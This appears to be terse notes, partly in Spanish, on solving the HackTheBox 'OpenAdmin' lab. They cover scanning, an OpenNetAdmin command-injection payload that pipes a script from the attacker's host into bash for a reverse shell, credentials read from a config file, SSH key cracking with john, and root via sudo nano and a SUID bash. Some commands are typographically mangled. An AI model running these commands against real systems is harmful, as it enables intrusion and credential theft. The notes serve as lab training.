OpenAdmin
HTB Linux
nmap -A -p- -oA openadmin 10.129.247.237 —min-rate=10000 —script=vuln —script-timeout=15 -v
nmap -sC -sV -O -p- -oA openadmin 10.129.247.237
nmap -sU -O -p- -oA openadmin-udp 10.129.247.237
nikto -h 10.129.247.237:80
nmap -sCV -p80,443 10.129.247.237 -oN targeted
whatweb http://10.129.247.237
wfuzz -c -t 200 —hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.129.247.237/FUZZ
http://10.129.247.237/music y le damos click a login
searchsploit poennetadmin
searchsploit -m 47691
curl —silent -d “xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo “BEGIN”;curl 10.10.14.92|bash;echo “END”&xajaxargs[]=ping” “http:10.129.247.237/ona” python3 -m http.server 80
nc -lvnp 443
find -name user.txt 2>/dev/null
cd /opt/ona/www
find -type f 2>/dev/null | grep “config”
cat ./local/config/database_settings.inc.php
credenciales jimmy:n1nj4W4rri)R!
su jimmy
cat main.php
curl localhost:52846/main.php
Copiamos la llave y lo ponemos en id_rsa
/usr/share/john/ssh2john.py id_rsa
/usr/share/john/ssh2john.py id_rsa > hash
credenciales joanna:bloodninjas
john —wordlist=/usr/share/wordlists/rockyou.txt hash chmod 600 id_rsa
ssh -i id_rsa joana@10.129.247.237
sudo -l
sudo -u root nano /opt/priv
Ctrl R + Ctrl X
En nano ejecutamos chmod 4755 /bin/bash
bash -p
